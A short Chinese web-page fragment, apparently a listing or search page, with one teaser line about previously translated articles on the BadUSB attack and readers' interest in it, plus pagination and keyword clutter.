  • 前段时间翻译了有关BadUSB的两篇文章《解密BadUSB:世界上最邪恶的USB外设》和《研究人员公布BadUSB攻击测试(exploit)代码》,大家反应强烈,很多人都在打听BadUSB的实现方法,或者从那里可以买到这样的U盘。...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 22,290
精华内容 8,916
关键字:

usb硬件脚本